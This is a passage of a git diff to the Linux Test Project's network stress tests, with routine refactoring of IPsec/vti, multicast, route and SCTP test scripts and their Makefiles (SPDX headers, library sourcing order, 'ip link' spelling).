 	ipsec_set_algoline
@@ -250,8 +249,8 @@
 	cleanup_vti=$vti
 
 	if [ $target = lhost ]; then
-		TST_RTNL_CHK ip li add $vti $type local $src remote $dst $key $d
-		ROD ip li set $vti up
+		TST_RTNL_CHK ip link add $vti $type local $src remote $dst $key $d
+		ROD ip link set $vti up
 
 		local spi_1="spi 0x$SPI"
 		local spi_2="spi 0x$(( $SPI + 1 ))"
@@ -261,8 +260,8 @@
 		ROD $ipx po add dir in tmpl $i_dir $p $m $mrk
 	elif [ $target = rhost ]; then
 		tst_rhost_run -s -c \
-			"ip li add $vti $type local $src remote $dst $key $rd"
-		tst_rhost_run -s -c "ip li set $vti up"
+			"ip link add $vti $type local $src remote $dst $key $rd"
+		tst_rhost_run -s -c "ip link set $vti up"
 
 		local spi_1="spi 0x$(( $SPI + 1 ))"
 		local spi_2="spi 0x$SPI"
@@ -292,6 +291,9 @@
 
 	tst_res TINFO "Test vti$TST_IPV6 + IPsec[$IPSEC_PROTO/$IPSEC_MODE]"
 
+	tst_net_run -q "tst_check_drivers ip${TST_IPV6}_vti" || \
+		tst_brk TCONF "ip${TST_IPV6}_vti driver not available on lhost or rhost"
+
 	tst_ipsec_vti lhost $ip_loc $ip_rmt $tst_vti
 	tst_ipsec_vti rhost $ip_rmt $ip_loc $tst_vti
 
@@ -312,6 +314,8 @@
 	tst_res TINFO "Add IPs to vti tunnel, " \
 		       "loc: $ip_loc_tun/$mask, rmt: $ip_rmt_tun/$mask"
 
-	ROD ip a add $ip_loc_tun/$mask dev $tst_vti $address_opt
-	tst_rhost_run -s -c "ip a add $ip_rmt_tun/$mask dev $tst_vti"
+	ROD ip addr add $ip_loc_tun/$mask dev $tst_vti $address_opt
+	tst_rhost_run -s -c "ip addr add $ip_rmt_tun/$mask dev $tst_vti"
 }
+
+. tst_net.sh
diff --git a/testcases/network/stress/multicast/Makefile b/testcases/network/stress/multicast/Makefile
index 474e066..f159446 100644
--- a/testcases/network/stress/multicast/Makefile
+++ b/testcases/network/stress/multicast/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/multicast test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/multicast/grp-operation/Makefile b/testcases/network/stress/multicast/grp-operation/Makefile
index af11867..267dca0 100644
--- a/testcases/network/stress/multicast/grp-operation/Makefile
+++ b/testcases/network/stress/multicast/grp-operation/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/grp-operation testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= mcast*.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh
index abd2dab..0040983 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh
@@ -9,7 +9,6 @@
 TST_SETUP="do_setup"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_setup()
 {
@@ -28,4 +27,5 @@
 	do_multicast_test_multiple_join $MCASTNUM_HEAVY true
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh
index 33df2e4..cc1bd00 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh
@@ -9,7 +9,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -17,4 +16,5 @@
 	do_multicast_test_join_leave $MCASTNUM_NORMAL
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh
index 10c6591..00d0f15 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh
@@ -9,7 +9,6 @@
 TST_SETUP="do_setup"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_setup()
 {
@@ -22,4 +21,5 @@
 	do_multicast_test_multiple_join $MCASTNUM_HEAVY
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh
index 19bd426..0da2f5f 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh
+++ b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh
@@ -9,7 +9,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -17,4 +16,5 @@
 	do_multicast_test_join_leave $MCASTNUM_NORMAL true
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
index cfc8a1b..f890dee 100644
--- a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
+++ b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
@@ -1,13 +1,11 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines Corp., 2006
 # Author: Petr Vorel <pvorel@suse.cz>
 #
 # Setup script for multicast stress tests.
 
-. tst_net_stress.sh
-
 mcast_setup4()
 {
 	local igmp_max_memberships="$1"
@@ -164,3 +162,5 @@
 	[ "$TST_IPV6" ] && params="-S $(tst_ipaddr) -m"
 	EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params $extra
 }
+
+. tst_net_stress.sh
diff --git a/testcases/network/stress/multicast/packet-flood/Makefile b/testcases/network/stress/multicast/packet-flood/Makefile
index 8e144ec..e6c8115 100644
--- a/testcases/network/stress/multicast/packet-flood/Makefile
+++ b/testcases/network/stress/multicast/packet-flood/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/packet-flood testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= mcast*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh b/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh
index cc1b841..52138d2 100755
--- a/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh
+++ b/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh
@@ -12,7 +12,6 @@
 TST_SETUP="mcast_setup_normal_udp"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -33,4 +32,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh b/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh
index 3394e02..59c8880 100755
--- a/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh
+++ b/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh
@@ -13,7 +13,6 @@
 TST_SETUP="mcast_setup_normal_udp"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -50,4 +49,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/Makefile b/testcases/network/stress/multicast/query-flood/Makefile
index 5146a22..e6c8115 100644
--- a/testcases/network/stress/multicast/query-flood/Makefile
+++ b/testcases/network/stress/multicast/query-flood/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/query-flood testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= mcast*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh
index e800267..d23cc0f 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh
@@ -13,7 +13,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -23,4 +22,5 @@
 	do_multicast_test_join_single_socket
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh
index 8773bd8..7c1cda2 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh
@@ -14,7 +14,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -27,4 +26,5 @@
 	do_multicast_test_join_single_socket "$extra"
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh
index 8ab9af5..7bac7e7 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh
@@ -13,7 +13,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 SRC_ADDR_IPV4="10.10.10.1"
 SRC_ADDR_IPV6="fec0:100:100:100::1"
@@ -41,4 +40,5 @@
 	EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh
index 5947562..25923b2 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh
@@ -12,7 +12,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -32,4 +31,5 @@
 	EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh
index 3c06484..de3d11b 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh
@@ -13,7 +13,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 do_test()
 {
@@ -52,4 +51,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh
index bda064f..e0548e1 100755
--- a/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh
+++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh
@@ -13,7 +13,6 @@
 TST_SETUP="mcast_setup_normal"
 TST_CLEANUP="mcast_cleanup"
 TST_TESTFUNC="do_test"
-. mcast-lib.sh
 
 SRC_ADDR_IPV4=10.10.10.1
 SRC_ADDR_IPV6=fec0:100:100:100::1
@@ -60,4 +59,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. mcast-lib.sh
 tst_run
diff --git a/testcases/network/stress/ns-tools/tst_net_stress.sh b/testcases/network/stress/ns-tools/tst_net_stress.sh
index 4b00ee7..6d8c545 100644
--- a/testcases/network/stress/ns-tools/tst_net_stress.sh
+++ b/testcases/network/stress/ns-tools/tst_net_stress.sh
@@ -10,8 +10,6 @@
 # NOTE: More information about network variables can be found
 # in tst_net.sh and testcases/network/stress/README.
 
-. tst_net.sh
-
 # Netmask of for the tested network
 IPV4_NETMASK="255.255.255.0"
 IPV4_NETMASK_NUM=24
@@ -122,3 +120,5 @@
 	2) test_body 'ip_cmd';;
 	esac
 }
+
+. tst_net.sh
diff --git a/testcases/network/stress/route/route-change-dst.sh b/testcases/network/stress/route/route-change-dst.sh
index 2d88b5f..a113f24 100755
--- a/testcases/network/stress/route/route-change-dst.sh
+++ b/testcases/network/stress/route/route-change-dst.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines Corp., 2006
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 # Rewrite into new shell API: Petr Vorel
@@ -11,8 +11,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="route_cleanup"
 TST_TESTFUNC="test_dst"
-. route-lib.sh
-TST_CNT=$ROUTE_CHANGE_IP
 
 setup()
 {
@@ -34,4 +32,6 @@
 	tst_del_ipaddr -s -q -a $rhost rhost
 }
 
+. route-lib.sh
+TST_CNT=$ROUTE_CHANGE_IP
 tst_run
diff --git a/testcases/network/stress/route/route-change-gw.sh b/testcases/network/stress/route/route-change-gw.sh
index 6c650be..58c94e5 100755
--- a/testcases/network/stress/route/route-change-gw.sh
+++ b/testcases/network/stress/route/route-change-gw.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines Corp., 2006
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 # Rewrite into new shell API: Petr Vorel
@@ -11,8 +11,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="route_cleanup"
 TST_TESTFUNC="test_gw"
-. route-lib.sh
-TST_CNT=$ROUTE_CHANGE_IP
 
 setup()
 {
@@ -34,4 +32,6 @@
 	tst_del_ipaddr -s -q -a $gw rhost
 }
 
+. route-lib.sh
+TST_CNT=$ROUTE_CHANGE_IP
 tst_run
diff --git a/testcases/network/stress/route/route-change-if.sh b/testcases/network/stress/route/route-change-if.sh
index 7e9c15f..665adce 100755
--- a/testcases/network/stress/route/route-change-if.sh
+++ b/testcases/network/stress/route/route-change-if.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines Corp., 2006
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 # Rewrite into new shell API: Petr Vorel
@@ -11,8 +11,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="cleanup_if"
 TST_TESTFUNC="test_if"
-. route-lib.sh
-TST_CNT=$ROUTE_CHANGE_IP
 
 setup()
 {
@@ -38,4 +36,6 @@
 	tst_del_ipaddr -s -q -a $gw rhost $link_num
 }
 
+. route-lib.sh
+TST_CNT=$ROUTE_CHANGE_IP
 tst_run
diff --git a/testcases/network/stress/route/route-change-netlink-dst.sh b/testcases/network/stress/route/route-change-netlink-dst.sh
index 0740d09..7e8fd99 100755
--- a/testcases/network/stress/route/route-change-netlink-dst.sh
+++ b/testcases/network/stress/route/route-change-netlink-dst.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2020-2022 Petr Vorel <pvorel@suse.cz>
 #
 # Change route destination via netlink
 # rhost: 10.23.x.1
@@ -9,7 +9,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="route_cleanup"
 TST_TESTFUNC="test_netlink"
-. route-lib.sh
 
 setup()
 {
@@ -33,4 +32,5 @@
 	ROUTE_CHANGE_NETLINK_PARAMS="-d $(tst_iface) -r '$rhost_all'"
 }
 
+. route-lib.sh
 tst_run
diff --git a/testcases/network/stress/route/route-change-netlink-gw.sh b/testcases/network/stress/route/route-change-netlink-gw.sh
index 3119a1b..574977f 100755
--- a/testcases/network/stress/route/route-change-netlink-gw.sh
+++ b/testcases/network/stress/route/route-change-netlink-gw.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2020-2022 Petr Vorel <pvorel@suse.cz>
 #
 # Change route gateway via netlink
 # gw (on rhost): 10.23.1.x, rhost: 10.23.0.1
@@ -9,7 +9,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="route_cleanup"
 TST_TESTFUNC="test_netlink"
-. route-lib.sh
 
 setup()
 {
@@ -30,4 +29,5 @@
 	ROUTE_CHANGE_NETLINK_PARAMS="-d $(tst_iface) -g "$gw_all" -r $rhost"
 }
 
+. route-lib.sh
 tst_run
diff --git a/testcases/network/stress/route/route-change-netlink-if.sh b/testcases/network/stress/route/route-change-netlink-if.sh
index d1e64a4..a28de02 100755
--- a/testcases/network/stress/route/route-change-netlink-if.sh
+++ b/testcases/network/stress/route/route-change-netlink-if.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2020-2022 Petr Vorel <pvorel@suse.cz>
 #
 # Change route interface
 # gw (on rhost): 10.23.x.1, rhost: 10.23.0.1, switching ifaces on lhost
@@ -9,7 +9,6 @@
 TST_SETUP="setup"
 TST_CLEANUP="cleanup_if"
 TST_TESTFUNC="test_netlink"
-. route-lib.sh
 
 setup()
 {
@@ -36,4 +35,5 @@
 	ROUTE_CHANGE_NETLINK_PARAMS="-d '$iface_all' -g '$gw_all' -r $rhost"
 }
 
+. route-lib.sh
 tst_run
diff --git a/testcases/network/stress/route/route-change-netlink.c b/testcases/network/stress/route/route-change-netlink.c
index 3c49b7a..ace6d4b 100644
--- a/testcases/network/stress/route/route-change-netlink.c
+++ b/testcases/network/stress/route/route-change-netlink.c
@@ -21,8 +21,6 @@
 #include "tst_safe_stdio.h"
 
 #define IP_ADDR_DELIM ','
-#define STR(x) #x
-#define CHR2STR(x) STR(x)
 
 static char *c_opt, *d_opt, *g_opt, *ipv6_opt, *p_opt, *r_opt;
 
@@ -82,7 +80,7 @@
 {
 	int len = 0;
 
-	while ((item = strtok(item, CHR2STR(IP_ADDR_DELIM))) != NULL) {
+	while ((item = strtok(item, TST_TO_STR(IP_ADDR_DELIM))) != NULL) {
 		callback(list, item);
 		item = NULL;
 		len++;
@@ -309,13 +307,13 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"6", &ipv6_opt, "-6       Use IPv6 (default is IPv4)"},
-		{"c:", &c_opt, "-c x     Num loops (mandatory)"},
-		{"d:", &d_opt, "-d iface Interface to work on (mandatory)"},
-		{"g:", &g_opt, "-g x     Gateway IP"},
-		{"p:", &p_opt, "-p port  Rhost port (mandatory)"},
-		{"r:", &r_opt, "-r x     Rhost IP (mandatory)\n\n-g, -r IP parameter can contain more IP, separated by "
-			CHR2STR(IP_ADDR_DELIM)},
+		{"6", &ipv6_opt, "Use IPv6 (default is IPv4)"},
+		{"c:", &c_opt, "Num loops (mandatory)"},
+		{"d:", &d_opt, "Interface to work on (mandatory)"},
+		{"g:", &g_opt, "Gateway IP"},
+		{"p:", &p_opt, "Rhost port (mandatory)"},
+		{"r:", &r_opt, "Rhost IP (mandatory)\n\n-g, -r IP parameter can contain more IP, separated by "
+			TST_TO_STR(IP_ADDR_DELIM)},
 		{}
 	},
 };
diff --git a/testcases/network/stress/route/route-lib.sh b/testcases/network/stress/route/route-lib.sh
index 194bd40..163c154 100644
--- a/testcases/network/stress/route/route-lib.sh
+++ b/testcases/network/stress/route/route-lib.sh
@@ -1,10 +1,9 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="ip"
-. tst_net.sh
 
 ROUTE_RHOST_PORT=${ROUTE_RHOST_PORT:-65535}
 ROUTE_MAX_IP=${ROUTE_MAX_IP:-5}
@@ -107,3 +106,5 @@
 	fi
 	tst_res TPASS "$cmd passed"
 }
+
+. tst_net.sh
diff --git a/testcases/network/stress/route/route-redirect.sh b/testcases/network/stress/route/route-redirect.sh
index d77c37a..f65e149 100755
--- a/testcases/network/stress/route/route-redirect.sh
+++ b/testcases/network/stress/route/route-redirect.sh
@@ -2,6 +2,7 @@
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2006 International Business Machines  Corp.
 # Copyright (c) 2020 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 #
 # Verify the kernel is not crashed when the route is modified by
@@ -13,8 +14,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="ip"
 
-. route-lib.sh
-
 DST_HOST=
 DST_PORT="7"
 
@@ -59,4 +58,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. route-lib.sh
 tst_run
diff --git a/testcases/network/stress/sctp/Makefile b/testcases/network/stress/sctp/Makefile
index 2be2b43..ca001be 100644
--- a/testcases/network/stress/sctp/Makefile
+++ b/testcases/network/stress/sctp/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/sctp/sctp_ipsec.sh b/testcases/network/stress/sctp/sctp_ipsec.sh
index 4ec2041..e9aa950 100755
--- a/testcases/network/stress/sctp/sctp_ipsec.sh
+++ b/testcases/network/stress/sctp/sctp_ipsec.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=tst_ipsec_setup
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_test()
 {
@@ -20,4 +19,5 @@
 		-r $IPSEC_REQUESTS -S $(tst_ipaddr)
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/sctp/sctp_ipsec_vti.sh b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
index 9c57471..c22eb02 100755
--- a/testcases/network/stress/sctp/sctp_ipsec_vti.sh
+++ b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_SETUP=tst_ipsec_setup_vti
 TST_CLEANUP=tst_ipsec_cleanup
 TST_TESTFUNC=do_test
-. ipsec_lib.sh
 
 do_test()
 {
@@ -20,4 +19,5 @@
 		-S $ip_loc_tun -D $tst_vti
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/ssh/00_Descriptions.txt b/testcases/network/stress/ssh/00_Descriptions.txt
deleted file mode 100644
index 543e60d..0000000
--- a/testcases/network/stress/ssh/00_Descriptions.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-ssh-stress01
-	Verify the ssh connectivity over IPv4/IPv6 is not broken
-	after creating many ssh sessions
-
-ssh-stress02
-	Verify the ssh connectivity over IPv4/IPv6 is not broken
-	after logged in/out by many clients asynchronously for a long time
-
-ssh-stress03
-	Verify the ssh connectivity over IPv4/IPv6 is not broken
-	after forwarding TCP traffic for a long time
diff --git a/testcases/network/stress/ssh/Makefile b/testcases/network/stress/ssh/Makefile
index 1a6d052..7ebeec1 100644
--- a/testcases/network/stress/ssh/Makefile
+++ b/testcases/network/stress/ssh/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases/network/stress/ssh Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
